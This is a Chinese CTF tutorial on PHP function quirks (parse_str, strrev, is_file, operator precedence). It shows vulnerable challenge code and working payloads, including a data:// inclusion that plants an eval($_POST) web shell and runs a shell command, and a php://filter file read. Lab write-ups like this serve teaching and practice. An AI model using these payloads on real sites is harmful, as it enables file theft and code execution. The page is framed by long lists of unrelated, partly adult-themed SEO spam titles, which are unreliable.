成人在线亚洲_国产日韩视频一区二区三区_久久久国产精品_99国内精品久久久久久久

您的位置:首頁技術文章
文章詳情頁

CTF中的PHP特性函數解析之下篇

瀏覽:257日期:2022-06-06 15:52:34
目錄
  • 前言
  • parse_str
  • strrev
  • is_file
  • 優先級問題
  • 結語

前言

上篇文章講的進階一些的PHP特性不知道大家吸收的怎么樣了,今天作為本PHP特性函數的最后一篇,我也會重點介紹一些有趣的PHP特性以及利用方法,下面開始我們今天的內容分享。

parse_str

parse_str()這個函數會把查詢字符串解析到變量中。那么我們如何利用它的特性呢,我們看下面的例子:

<?phphighlight_file(__FILE__);error_reporting(0);include("flag.php");if(isset($_POST["v1"])){    $v1 = $_POST["v1"];    $v3 = $_GET["v3"];       parse_str($v1,$v2);       if($v2["flag"]==md5($v3)){   echo $flag;       }} ?>

分析一下代碼要求我們什么,看最后要我們數組v2等于md5(v3),而根據上面代碼v2則是由該函數經過v1后賦值給的,那我們解題的思路就有了,利用parse_str() 函數的特點將v2[flag]的值覆蓋,那么具體要怎樣做呢?

先對數字5進行md5加密:

<?php$b=md5("5");echo $b;// e4da3b7fbbce2345d7772b0674a318d5?>

之后再從v1傳入我們的值即可完成繞過:

Payload:GET:v3=5POST: v1=flag=e4da3b7fbbce2345d7772b0674a318d5

strrev

這個函數還是很好理解的,就是將字符串進行翻轉,曾經遇到過考察這個的題目覺得很有趣分享給大家,我們先看代碼:

highlight_file(__FILE__);    $file = $_POST["file"];    if(isset($file)){if(strrev($file)==$file){    include $file;}

代碼很簡單,第一個是高亮代碼沒有什么用,要我們傳入file而且要使回文數等于它本身并且還要考慮如何進行攻擊,是不是不太好想,這里使用php里面的data協議,該協議可以進行寫入數據,而且?>閉合后可以加任意字符不會受別的影響。于是我們構造代碼:

data://text/plain,<?php eval($_POST[1]);?>>?;)]1[TSOP_$(lave php?<,nialp/txet//:atad&1=echo `cat /f1agaaa`;

可以看到思路還是挺巧妙的。

is_file

該函數檢測是不是一個常規的文件類型,在CTF中也出過繞過這個函數的題目,下面我們先看看代碼:

<?phphighlight_file(__FILE__);error_reporting(0);function filter($file){    if(preg_match("/../|http|https|data|input|rot13|base64|string/i",$file)){die("hacker!");    }else{return $file;    }}$file=$_GET["file"];if(! is_file($file)){    highlight_file(filter($file));}else{    echo "hacker!";} ?>

分析一下filter函數過濾了很多關鍵字符串對我們的輸入進行限制,最后還不能讓is_file檢測出來是文件,那我們要怎樣讀取flag.php文件呢,看最后有個高亮file的操作,這里就是利用點,我們要讓其等于flag文件,于是需要繞過:

這里 根據特性is_file不會識別php偽協議,于是我們構造下面代碼:

php://filter/read=convert.quoted-printable-encode/resource=flag.php

這樣傳入即可繞過檢測。

優先級問題

在php里存在以下優先級特性:

&&與||的優先級高于=,而&&優先級高于||

=的優先級高于and與or

這里也可以作為考點來考,我們看下面代碼:

<?phpinclude("flag.php");highlight_file(__FILE__);if(isset($_GET["username"]) && isset($_GET["password"]) && isset($_GET["code"])){    $username = (String)$_GET["username"];    $password = (String)$_GET["password"];    $code = (String)$_GET["code"];    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){if($code == "admin"){    echo $flag;}     }}

我們需要傳入三個參數,之后進行類型的強制轉換,再通過判斷語句,最后需要code參數等于admin方可解題,根據優先級原則,所以當第一個判斷條件為true時,直接跳過第二個條件然后判斷第三個條件,可能有一些繞,只要username=admin為真值,code=admin輸出flag,于是構造payload:

?code=admin&password=1&username=admin

結語

本文到這就結束了,這篇文章講了幾個比較有趣而且有一些難度的特性知識,不知道大家吸收的咋樣了,當然PHP特性遠沒有這么少,更多關于CTF PHP特性函數的資料請關注其它相關文章!

標簽: PHP
成人在线亚洲_国产日韩视频一区二区三区_久久久国产精品_99国内精品久久久久久久
免费久久精品视频| 国产精品羞羞答答xxdd| 久久精品国产一区二区三区免费看| 亚洲精一区二区三区| 国产色爱av资源综合区| 成人精品小蝌蚪| 欧美一区二区美女| 精品在线播放免费| 欧美日韩成人激情| 激情综合网av| 欧美四级电影在线观看| 日韩成人一区二区| 久久中文在线| 五月天欧美精品| 国产伦精品一区二区三| 欧美精彩视频一区二区三区| 成人成人成人在线视频| 日韩精品一区在线| av中文字幕亚洲| 亚洲精品在线三区| 91影视在线播放| 2021久久国产精品不只是精品| 成人午夜免费av| 精品美女一区二区| 波多野结衣亚洲| 久久久亚洲国产美女国产盗摄| 91免费视频观看| 欧美激情一区二区三区在线| 欧美在线影院| 亚洲国产精品精华液2区45| 97精品超碰一区二区三区| 2020国产精品久久精品美国| 94-欧美-setu| 中文字幕免费一区| 亚洲午夜精品国产| 一区二区三区精品视频在线| 久久久亚洲一区| 美日韩一级片在线观看| 欧美色综合久久| 国产一区二区三区av电影 | 欧美一区激情| 国产精品欧美精品| 成人免费看黄yyy456| 日韩一级欧美一级| 99久久国产免费看| 亚洲人成在线观看一区二区| 免费国产自线拍一欧美视频| 日韩av一二三| 欧美精品久久久久久久久老牛影院 | 91久久久一线二线三线品牌| 一区二区三区在线高清| 亚洲欧美日韩精品综合在线观看 | 欧美日韩精品电影| 国产aⅴ综合色| 国产欧美va欧美不卡在线| 欧美日本中文| 一区二区欧美国产| 欧美影院一区二区| 成人动漫一区二区在线| 中文字幕永久在线不卡| 国产精品一区二区三区观看| 青青草97国产精品免费观看无弹窗版| 91精品国产美女浴室洗澡无遮挡| 91免费精品国自产拍在线不卡| 综合久久综合久久| 亚洲在线不卡| 国产一区二区视频在线| 精品精品欲导航| 免费在线一区观看| 精品久久人人做人人爰| 激情丁香综合| 亚洲成人1区2区| 欧美日韩成人综合| 国产视频一区三区| 奇米综合一区二区三区精品视频 | 国产精品xvideos88| 欧美另类久久久品| 欧美特黄视频| 亚洲国产视频a| 欧美影院一区二区三区| 91小视频免费观看| 午夜精品一区二区三区三上悠亚| 欧美一卡二卡在线观看| 亚洲第一伊人| 国产一区三区三区| 中文字幕在线一区| 在线亚洲人成电影网站色www| 国产成人亚洲综合色影视| 欧美日韩五月天| 欧美日韩在线观看一区二区三区| 五月天一区二区三区| 久久亚洲捆绑美女| 久久激情视频| 99热在这里有精品免费| 国产蜜臀av在线一区二区三区| 国产视频一区在线观看一区免费| 国产在线视视频有精品| 中文字幕一区av| 日本久久一区二区| 99这里只有久久精品视频| 亚洲九九爱视频| 欧美日韩高清一区| 亚洲经典在线| 国产精品亚洲专一区二区三区| 亚洲三级电影全部在线观看高清| 欧美一区二区三区在线电影| 国产亚洲一区在线| 91亚洲精品久久久蜜桃网站| 美国十次综合导航| 国产精品萝li| 制服丝袜日韩国产| 国产精品久久久免费 | 国产欧美日韩一级| 成人黄色小视频| 日本大胆欧美人术艺术动态 | 美女一区二区久久| 亚洲欧洲精品天堂一级| 日韩一区二区三区免费观看| 欧美亚洲一区| 欧美ab在线视频| 激情另类小说区图片区视频区| 亚洲精选视频免费看| 日韩欧美精品三级| 老司机精品久久| 亚洲视频观看| 成人av动漫在线| 视频一区免费在线观看| 国产精品网站在线| 精品日产卡一卡二卡麻豆| 欧美亚洲综合另类| 国产伦精品一区| 亚洲午夜在线观看| av毛片久久久久**hd| 久久99在线观看| 亚洲精品视频在线看| 久久久国产午夜精品| 日韩一区二区精品葵司在线| 色噜噜狠狠色综合欧洲selulu| 一区在线播放| 色综合网站在线| 国产成人av电影在线| 蜜臂av日日欢夜夜爽一区| 亚洲尤物在线视频观看| 国产精品情趣视频| 精品日韩在线观看| 91精品国产高清一区二区三区| 久久综合激情| 一本一本久久a久久精品综合妖精| 欧美在线高清| 成人av电影在线播放| 国内精品在线播放| 日韩电影在线观看网站| 亚洲综合丁香婷婷六月香| 一区在线观看视频| 久久伊99综合婷婷久久伊| 91精品国产综合久久久久久久 | 国产精品不卡视频| 中文字幕免费不卡| 国产婷婷一区二区| 国产视频一区在线观看| 精品第一国产综合精品aⅴ| 91精品国产91热久久久做人人| 欧美精品精品一区| 欧美日韩不卡一区二区| 欧美做爰猛烈大尺度电影无法无天| 免费在线播放第一区高清av| 国产一区二区三区的电影 | 欧美va亚洲va| 欧美成人乱码一区二区三区| 91精品婷婷国产综合久久性色 | 91蝌蚪porny| 成人av在线观| 波多野结衣在线aⅴ中文字幕不卡| 国产精品白丝jk白祙喷水网站| 蜜桃视频一区二区三区在线观看| 秋霞午夜av一区二区三区| 全国精品久久少妇| 久久99精品国产麻豆婷婷洗澡| 蜜臀久久99精品久久久久久9| 日韩av一二三| 精品系列免费在线观看| 国产精品1区二区.| 国产激情视频一区二区三区欧美 | 国产欧美日本| 免费日韩一区二区| 色美美综合视频| 日本韩国欧美在线| 在线观看国产一区二区| 欧美日韩精品欧美日韩精品 | 久久综合久色欧美综合狠狠| 国产亚洲女人久久久久毛片| 久久精品人人做人人综合 | 日韩一级成人av| 精品国精品国产尤物美女| 久久精品亚洲国产奇米99| 中文字幕va一区二区三区| 亚洲欧洲av另类| 一区二区三区国产豹纹内裤在线| 亚洲一卡二卡三卡四卡无卡久久| 亚洲午夜久久久久久久久电影院|